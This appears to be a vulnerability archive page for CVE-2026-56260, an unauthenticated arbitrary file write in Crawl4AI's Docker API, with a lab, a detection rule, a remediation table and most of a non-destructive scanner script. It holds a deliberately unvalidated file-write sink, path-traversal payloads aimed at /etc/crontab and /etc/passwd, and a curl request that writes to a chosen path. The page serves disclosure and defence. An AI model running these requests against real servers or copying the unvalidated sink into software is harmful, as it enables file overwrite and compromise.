PoC Archive PoC Archive
Critical CVE-2026-56260 (GHSA-365w-hqf6-vxfg) patched

Crawl4AI Docker API Server Arbitrary File Write via `output_path` (CVE-2026-56260)

by Reported to unclecode/crawl4ai (GHSA-365w-hqf6-vxfg); PoC lab generated by AttackWatch · 2026-07-12

CVSS 9.1/10
Severity
Critical
CVE
CVE-2026-56260 (GHSA-365w-hqf6-vxfg)
Category
web
Affected product
Crawl4AI — open-source LLM-friendly web crawler/scraper (unclecode/crawl4ai), Docker API server mode
Affected versions
Crawl4AI before 0.8.7
Disclosed
2026-07-12
Patch status
patched

Metadata

FieldValue
Date Added2026-07-12
Last Updated2026-07-12
Author / ResearcherReported to unclecode/crawl4ai (GHSA-365w-hqf6-vxfg); PoC lab generated by AttackWatch
CVE / AdvisoryCVE-2026-56260 (GHSA-365w-hqf6-vxfg)
Categoryweb
SeverityCritical
CVSS Score9.1 (CVSS 3.1)
StatusPoC — lab (vulnerable-app/) demonstrates genuine unrestricted arbitrary file write; the bundled poc.py scanner is deliberately conservative (writes only to a randomized safe /tmp marker) so it is safe to run against real/production targets. See Notes.
Tagscrawl4ai, ai-web-crawler, docker-api, path-traversal, arbitrary-file-write, cwe-22, unauthenticated, remote, denial-of-service
RelatedN/A

Affected Target

FieldValue
Software / SystemCrawl4AI — open-source LLM-friendly web crawler/scraper (unclecode/crawl4ai), Docker API server mode
Versions AffectedCrawl4AI before 0.8.7
Language / PlatformPython, Docker API server exposing HTTP endpoints
Authentication RequiredNo
Network Access RequiredYes — direct reachability to the Crawl4AI Docker API server

Summary

Crawl4AI’s Docker API server exposes /screenshot and /pdf endpoints that accept an output_path parameter specifying where the rendered output should be saved. The parameter is passed straight into a file-write call with no validation whatsoever — no check for absolute paths, no path-traversal filtering, no allowlist of writable directories. A remote, unauthenticated attacker can set output_path to any location writable by the application’s process (e.g. /etc/crontab, application config files, or other server-controlled paths) and have Crawl4AI overwrite it with attacker-influenced content, leading to denial of service or, depending on what’s writable, a path toward code execution.


Vulnerability Details

Root Cause

Tracked as CWE-22 (Path Traversal). Both the /screenshot and /pdf handlers take the client-supplied output_path value and pass it directly to a raw file-write call (open(output_path, "wb") in the lab reproduction) with zero sanitization — no rejection of absolute paths, no ../ traversal filtering, no confinement to an intended output directory.

Attack Vector

A remote, unauthenticated attacker sends a POST request to /screenshot or /pdf with a JSON body containing a url (the page to render) and an output_path set to an arbitrary or path-traversal-crafted filesystem location. The server writes the rendered artifact (or, per the vulnerable lab reproduction, arbitrary bytes) to that exact path, overwriting whatever is there if the process has write permission.

Impact

Arbitrary file write anywhere the Crawl4AI process can write — overwriting server configuration, scheduled-task files, or application code, leading at minimum to denial of service and potentially to code execution depending on what’s reachable and writable in a given deployment.


Environment / Lab Setup

Target:      Flask-based vulnerable-app simulation reproducing Crawl4AI's exact
             unvalidated output_path sink (vulnerable-app/ in this folder)
Comparison:  patched-app/ demonstrates the fix (absolute-path rejection, traversal
             filtering, extension allowlist, base-directory confinement via
             commonpath verification — defense-in-depth against symlinks)
Attacker:    Any host with Python 3 + requests
Tools:       Docker + docker compose, python3

Setup Steps

1
2
docker compose up -d
python3 poc.py --target http://localhost:8080

Proof of Concept

See poc.py, docker-compose.yml, vulnerable-app/, and patched-app/ in this folder — mirrored from fankh/attackwatch-vulnerability-poc (Apache 2.0). Verified before ingestion: all files exist and are clean. Two things worth being precise about:

  • vulnerable-app/app.py is a faithful, minimal reproduction of the real flaw — a raw open(output_path, "wb") sink with no validation at all, including inline comments demonstrating payloads like "/etc/crontab" or "../../../../etc/passwd". Run against this lab, arbitrary file write is real and unrestricted.
  • poc.py (the bundled scanner) is intentionally conservative — by design it only probes with error-based techniques and writes to a randomized, non-destructive /tmp marker path, so it’s safe to run against a real/production target without risking damage. It confirms the vulnerable code path is reached but does not, by itself, demonstrate writing to a genuinely sensitive location — that requires pointing it at the lab’s vulnerable-app directly with a real payload, which is what the “Exploit Code” section below shows.

Step-by-Step Reproduction

Safe scanner (against any target, including production — non-destructive):

1
2
docker compose up -d
python3 poc.py --target http://localhost:8080 -c -v

Full arbitrary-write demonstration (lab only — do not point at anything you don’t own):

1
2
3
curl -X POST http://localhost:8080/screenshot \
  -H "Content-Type: application/json" \
  -d '{"url": "https://example.com", "output_path": "/tmp/poc-demo/anywhere-i-want.txt"}'

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
@app.route("/screenshot", methods=["POST"])
def screenshot():
    data = request.get_json(silent=True) or {}
    output_path = data.get("output_path")  # VULNERABLE: user-controlled path
    if output_path:
        # VULNERABLE SINK: no validation of `output_path`.
        # Attacker payload examples:
        #   {"url": "...", "output_path": "/etc/crontab"}
        #   {"url": "...", "output_path": "../../../../etc/passwd"}
        with open(output_path, "wb") as f:
            f.write(screenshot_bytes)
        return jsonify({"status": "ok", "path": output_path})
1
2
3
4
5
6
7
def test_file_write_marker(target, verbose=False):
    """Requests a write to a safe, randomized /tmp marker path and verifies
    the server accepts and processes it — confirms the sink is reachable
    without touching anything sensitive."""
    out_path = "/tmp/awatch_probe_" + uuid.uuid4().hex + ".png"
    requests.post(target + "/screenshot", json={"url": PROBE_URL, "output_path": out_path})
    # ... checks response for acceptance/reflection of the attacker-controlled path

Expected Output

Safe scanner:

[VULNERABLE]
Confidence: 85%
Evidence: Endpoint /screenshot returned filesystem error 'no such file or directory'
for attacker-controlled output_path='/nonexistent_dir_<uuid>/probe.png' (HTTP 500)
indicating no path validation.

Full lab demonstration:

{"status": "ok", "path": "/tmp/poc-demo/anywhere-i-want.txt"}

Detection & Indicators of Compromise

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"Possible CVE-2026-56260 Crawl4AI output_path traversal attempt"; content:"POST"; http_method; content:"/screenshot"; http_uri; content:"output_path"; http_client_body; pcre:"/output_path[\"']?\s*:\s*[\"'](\/|\.\.)/"; sid:9000402; rev:1;)

Remediation

ActionDetail
PatchUpgrade to Crawl4AI >= 0.8.7.
WorkaroundRestrict network access to the Docker API server to trusted callers only; front it with a reverse proxy that rejects output_path values containing / at the start or .. sequences until patched.
Config HardeningRun the Crawl4AI process with the minimum filesystem write permissions necessary (a dedicated low-privilege user, restricted output directory) so that even an unpatched instance has limited blast radius.

References


Notes

Surfaced via a 2-day CVE discovery pass on 2026-07-12, same sweep and source repo as the companion Flowise entry (CVE-2026-56271). Verified before ingestion: read poc.py and both vulnerable-app/patched-app simulation apps in full. Being precise about status here matters — the bundled poc.py is a safe, non-destructive scanner by design (appropriate for testing systems you don’t fully control), while the vulnerable-app lab itself proves the underlying primitive is genuine, unrestricted arbitrary file write with no mitigating validation at all. Status is recorded as “PoC” rather than “Weaponized” to reflect that the included automated tool is intentionally conservative, even though full exploitation is trivial once you’re testing your own lab instance directly (see “Full arbitrary-write demonstration” above).

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2026-56260 - Crawl4AI Arbitrary File Write / Path Traversal PoC
CVSS: 9.1 | CWE: CWE-22
For authorized security testing only.

Vulnerability: Crawl4AI before 0.8.7 contains an arbitrary file write
vulnerability in the Docker API server's /screenshot and /pdf endpoints.
The output_path parameter accepts arbitrary filesystem paths without
validation, allowing an attacker to write to any location writable by
the application's user.

This PoC is DETECTION-ONLY:
  * It never targets sensitive OS files.
  * It writes/attempts to write only to a randomized, safe marker path
    (e.g., /tmp/awatch_probe_<uuid>.png) that does not overwrite
    existing files.
  * It uses error-based probing (invalid paths, non-writable locations)
    to confirm the vulnerable code path is reached.
"""

import argparse
import json
import re
import sys
import uuid
from urllib.parse import urlparse, urlunparse

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TIMEOUT = 10
USER_AGENT = "AttackWatch-PoC-Scanner/1.0 (CVE-2026-56260)"

VULNERABLE_ENDPOINTS = ["/screenshot", "/pdf"]
PROBE_URL = "https://example.com"
FIXED_VERSION = (0, 8, 7)

VERSION_RE = re.compile(r"(\d+)\.(\d+)\.(\d+)")


def _log(verbose, msg):
    if verbose:
        sys.stderr.write("[*] " + msg + "\n")


def _normalize_target(target):
    """Ensure target has a scheme; return base URL without trailing slash."""
    if not target.startswith(("http://", "https://")):
        target = "http://" + target
    parsed = urlparse(target)
    path = parsed.path.rstrip("/")
    return urlunparse((parsed.scheme, parsed.netloc, path, "", "", ""))


def _headers():
    return {
        "User-Agent": USER_AGENT,
        "Accept": "application/json, */*",
        "Content-Type": "application/json",
    }


def _parse_version(text):
    if not text:
        return None
    m = VERSION_RE.search(text)
    if not m:
        return None
    try:
        return tuple(int(x) for x in m.groups())
    except ValueError:
        return None


def _is_vulnerable_version(ver):
    if not ver:
        return False
    return ver < FIXED_VERSION


def check_product(target, verbose=False):
    """Stage 1: Product/Service Detection (Passive)."""
    result = {"detected": False, "evidence": None}
    probe_paths = ["/health", "/", "/docs", "/openapi.json", "/schema"]
    indicators = [
        "crawl4ai",
        "crawl4ai-server",
        "/screenshot",
        "/pdf",
        "output_path",
        "screenshot_wait_for",
    ]

    for path in probe_paths:
        url = target + path
        _log(verbose, "Fingerprint probe: " + url)
        try:
            r = requests.get(
                url,
                headers=_headers(),
                timeout=TIMEOUT,
                verify=False,
                allow_redirects=True,
            )
        except requests.exceptions.RequestException as e:
            _log(verbose, "Probe failed for " + path + ": " + str(e))
            continue

        body_snippet = (r.text or "")[:6000]
        server_hdr = r.headers.get("Server", "")
        combined = (body_snippet + " " + server_hdr).lower()

        for token in indicators:
            if token.lower() in combined:
                result["detected"] = True
                result["evidence"] = (
                    "Indicator '" + token + "' found at " + path
                    + " (HTTP " + str(r.status_code) + ")"
                )
                _log(verbose, "Product detected via " + path)
                return result

    # Fallback: schema-error probe on /screenshot
    try:
        r = requests.post(
            target + "/screenshot",
            headers=_headers(),
            data=json.dumps({}),
            timeout=TIMEOUT,
            verify=False,
        )
        body = (r.text or "").lower()
        if any(k in body for k in ("output_path", "screenshot_wait_for", "crawl4ai")):
            result["detected"] = True
            result["evidence"] = (
                "Endpoint /screenshot returned Crawl4AI-style schema ("
                + "HTTP " + str(r.status_code) + ")"
            )
            _log(verbose, "Product detected via /screenshot schema echo")
            return result
    except requests.exceptions.RequestException as e:
        _log(verbose, "Fallback POST /screenshot failed: " + str(e))

    return result


def check_version(target, verbose=False):
    """Stage 2: Version Detection (Passive)."""
    result = {"potentially_vulnerable": False, "version": None, "evidence": None}
    version_paths = ["/health", "/", "/version", "/openapi.json"]

    for path in version_paths:
        url = target + path
        _log(verbose, "Version probe: " + url)
        try:
            r = requests.get(
                url,
                headers=_headers(),
                timeout=TIMEOUT,
                verify=False,
            )
        except requests.exceptions.RequestException as e:
            _log(verbose, "Version probe failed for " + path + ": " + str(e))
            continue

        # Structured JSON fields
        try:
            data = r.json()
            if isinstance(data, dict):
                for key in ("version", "crawl4ai_version", "app_version"):
                    if key in data:
                        ver = _parse_version(str(data[key]))
                        if ver:
                            ver_str = ".".join(str(x) for x in ver)
                            result["version"] = ver_str
                            result["evidence"] = (
                                "Version '" + ver_str + "' from "
                                + path + " (" + key + ")"
                            )
                            result["potentially_vulnerable"] = _is_vulnerable_version(ver)
                            return result
                # OpenAPI info.version
                info = data.get("info") if isinstance(data.get("info"), dict) else None
                if info and "version" in info:
                    ver = _parse_version(str(info["version"]))
                    if ver:
                        ver_str = ".".join(str(x) for x in ver)
                        result["version"] = ver_str
                        result["evidence"] = (
                            "Version '" + ver_str + "' from " + path
                            + " (info.version)"
                        )
                        result["potentially_vulnerable"] = _is_vulnerable_version(ver)
                        return result
        except (ValueError, json.JSONDecodeError):
            pass

        # Regex fallback on text body / headers
        text = (r.text or "")[:8000] + " " + r.headers.get("Server", "")
        for match in VERSION_RE.finditer(text):
            ver = tuple(int(x) for x in match.groups())
            # Only trust versions in a plausible Crawl4AI range
            if 0 <= ver[0] <= 5:
                ver_str = ".".join(str(x) for x in ver)
                result["version"] = ver_str
                result["evidence"] = "Version '" + ver_str + "' matched at " + path
                result["potentially_vulnerable"] = _is_vulnerable_version(ver)
                return result

    return result


def _safe_marker_path(prefix, ext):
    """Return a randomized, non-existent path under /tmp used as a probe."""
    return "/tmp/" + prefix + "_" + uuid.uuid4().hex + ext


def test_error_based(target, verbose=False):
    """Stage 3, Method 1: error_based.

    Sends output_path values that are guaranteed to fail (invalid characters,
    non-writable directories) and inspects error messages for evidence that
    the server accepted and used the attacker-controlled path directly.
    Absence of validation errors and presence of filesystem errors indicates
    the vulnerability.
    """
    result = {
        "confirmed": False,
        "confidence": 0,
        "evidence": None,
        "method": "error_based",
    }

    fs_error_indicators = [
        "permission denied",
        "read-only file system",
        "no such file or directory",
        "errno",
        "oserror",
        "ioerror",
        "cannot write",
        "filenotfounderror",
        "isadirectoryerror",
    ]
    validation_indicators = [
        "invalid path",
        "path is not allowed",
        "not permitted",
        "output_path must",
        "forbidden path",
        "value error",
    ]

    # Non-writable target (should trigger OS-level error if path is used raw).
    probes = [
        # write to root filesystem (typically not writable by app user)
        ("/nonexistent_dir_" + uuid.uuid4().hex + "/probe.png", "/screenshot"),
        ("/nonexistent_dir_" + uuid.uuid4().hex + "/probe.pdf", "/pdf"),
    ]

    for out_path, endpoint in probes:
        url = target + endpoint
        payload = {"url": PROBE_URL, "output_path": out_path}
        _log(verbose, "error_based probe -> " + endpoint + " output_path=" + out_path)
        try:
            r = requests.post(
                url,
                headers=_headers(),
                data=json.dumps(payload),
                timeout=TIMEOUT,
                verify=False,
            )
        except requests.exceptions.RequestException as e:
            _log(verbose, "Request failed: " + str(e))
            continue

        body = (r.text or "").lower()
        _log(verbose, "HTTP " + str(r.status_code) + " len=" + str(len(body)))

        # A patched server should reject the path before touching FS.
        if any(v in body for v in validation_indicators):
            _log(verbose, "Server rejected path (validation error) - likely patched")
            continue

        # Vulnerable server passes path straight to filesystem call.
        for ind in fs_error_indicators:
            if ind in body:
                result["confirmed"] = True
                result["confidence"] = 85
                result["evidence"] = (
                    "Endpoint " + endpoint + " returned filesystem error '"
                    + ind + "' for attacker-controlled output_path='"
                    + out_path + "' (HTTP " + str(r.status_code) + ") "
                    + "indicating no path validation."
                )
                return result

        # Some servers return 500 with a generic message; capture as weaker signal.
        if r.status_code >= 500 and "output_path" not in body:
            result["confirmed"] = True
            result["confidence"] = 55
            result["evidence"] = (
                "Endpoint " + endpoint + " returned HTTP " + str(r.status_code)
                + " for unwritable output_path without a validation message; "
                + "suggests raw filesystem usage."
            )
            # Keep looking for stronger evidence.

    return result


def test_file_write_marker(target, verbose=False):
    """Stage 3, Method 2: file_read (adapted as safe file_write marker).

    Because this CVE is a *write* primitive (not a read), the analog of
    'file_read' verification is to request a write to a safe marker path
    that includes traversal characters and verify the server accepts and
    processes it. The marker path is randomized under /tmp and never
    overwrites an existing file.
    """
    result = {
        "confirmed": False,
        "confidence": 0,
        "evidence": None,
        "method": "file_write_marker",
    }

    traversal_paths = [
        _safe_marker_path("awatch_probe", ".png"),
        # traversal form: resolves to /tmp/awatch_probe_<uuid>.png
        "/tmp/../tmp/awatch_probe_" + uuid.uuid4().hex + ".png",
    ]

    endpoints = ["/screenshot", "/pdf"]

    for endpoint in endpoints:
        ext = ".pdf" if endpoint == "/pdf" else ".png"
        for base_path in traversal_paths:
            out_path = base_path if base_path.endswith(ext) else base_path.rsplit(".", 1)[0] + ext
            url = target + endpoint
            payload = {"url": PROBE_URL, "output_path": out_path}
            _log(verbose, "file_write_marker probe -> " + endpoint + " output_path=" + out_path)

            try:
                r = requests.post(
                    url,
                    headers=_headers(),
                    data=json.dumps(payload),
                    timeout=TIMEOUT,
                    verify=False,
                )
            except requests.exceptions.RequestException as e:
                _log(verbose, "Request failed: " + str(e))
                continue

            body = (r.text or "")
            body_lc = body.lower()
            _log(verbose, "HTTP " + str(r.status_code) + " len=" + str(len(body)))

            # Rejection with validation message => patched.
            rejection_tokens = (
                "invalid path", "not allowed", "forbidden", "not permitted",
                "path must", "outside allowed", "value error"
            )
            if any(t in body_lc for t in rejection_tokens):
                _log(verbose, "Path rejected - patched behavior")
                continue

            # Success indicators - server accepted attacker-controlled path.
            success_tokens = (
                "success", "\"success\": true", "'success': true",
                "saved", "written", "output_path", "file_path"
            )
            if r.status_code < 300 and any(t in body_lc for t in success_tokens):
                # Check response for reflected attacker path.
                reflected = out_path in body or out_path.replace("//", "/") in body
                if reflected or out_path in body_lc:
                    result["confirmed"] = True
                    result["confidence"] = 95
                    result["evidence"] = (
                        "Endpoint " + endpoint + " accepted attacker-controlled "
                        + "output_path='" + out_path + "' (HTTP "
                        + str(r.status_code) + ") and reflected it, "
                        + "confirming arbitrary write."
                    )
                    return result

                result["confirmed"] = True
                result["confidence"] = 80
                result["evidence"] = (
                    "Endpoint " + endpoint + " returned success for "
                    + "output_path='" + out_path + "' (HTTP "
                    + str(r.status_code) + ") with no path validation."
                )
                return result

    return result


def check_vulnerability(target, active_test=True, callback_url=None, verbose=False):
    """Main vulnerability check orchestrator."""
    results = {
        "vulnerable": False,
        "confidence": 0,
        "evidence": None,
        "method": None,
        "stage": None,
        "product_detected": False,
        "version": None,
    }

    # Stage 1
    prod = check_product(target, verbose=verbose)
    if not prod["detected"]:
        results["evidence"] = "Crawl4AI Docker API server not detected"
        results["stage"] = "product_detection"
        return results
    results["product_detected"] = True
    _log(verbose, "Stage 1 OK: " + str(prod["evidence"]))

    # Stage 2
    ver = check_version(target, verbose=verbose)
    results["version"] = ver.get("version")
    if ver.get("potentially_vulnerable"):
        results["stage"] = "version_check"
        results["confidence"] = 30
        results["evidence"] = ver.get("evidence")
        results["method"] = "version_string"

    # Stage 3
    if active_test:
        for test_func in (test_error_based, test_file_write_marker):
            tr = test_func(target, verbose=verbose)
            if tr.get("confirmed") and tr.get("confidence", 0) > results["confidence"]:
                results["vulnerable"] = True
                results["confidence"] = tr["confidence"]
                results["evidence"] = tr["evidence"]
                results["method"] = tr["method"]
                results["stage"] = "active_test"
                if results["confidence"] >= 90:
                    break

    # Escalate to "vulnerable" if version says so AND product confirmed,
    # even without active confirmation, but keep confidence moderate.
    if not results["vulnerable"] and ver.get("potentially_vulnerable"):
        results["vulnerable"] = True
        results["confidence"] = max(results["confidence"], 40)
        results["method"] = results["method"] or "version_string"
        results["stage"] = results["stage"] or "version_check"
        results["evidence"] = results["evidence"] or ver.get("evidence")

    return results


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-56260 (Crawl4AI Path Traversal) Detection PoC"
    )
    parser.add_argument("-t", "--target", required=True, help="Target URL or host:port")
    parser.add_argument("-c", "--check", action="store_true", help="Run vulnerability check")
    parser.add_argument("--version-only", action="store_true",
                        help="Passive version check only (skip active testing)")
    parser.add_argument("--callback", help="Callback URL for OOB detection (unused for this CVE)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")

    args = parser.parse_args()

    global TIMEOUT
    TIMEOUT = args.timeout

    try:
        target = _normalize_target(args.target)
    except Exception as e:
        sys.stderr.write("Error: invalid target: " + str(e) + "\n")
        sys.exit(2)

    _log(args.verbose, "Normalized target: " + target)

    try:
        if args.version_only:
            prod = check_product(target, verbose=args.verbose)
            if not prod["detected"]:
                print("[NOT VULNERABLE]")
                print("Confidence: 70%")
                print("Evidence: Crawl4AI Docker API server not detected")
                print("Method: product_detection")
                print("Stage: product_detection")
                sys.exit(0)

            ver = check_version(target, verbose=args.verbose)
            if ver.get("potentially_vulnerable"):
                print("[POTENTIALLY VULNERABLE]")
                print("Confidence: 40%")
                print("Evidence: " + str(ver.get("evidence")))
                print("Method: version_string")
                print("Stage: version_check")
Showing 500 of 543 lines View full file on GitHub →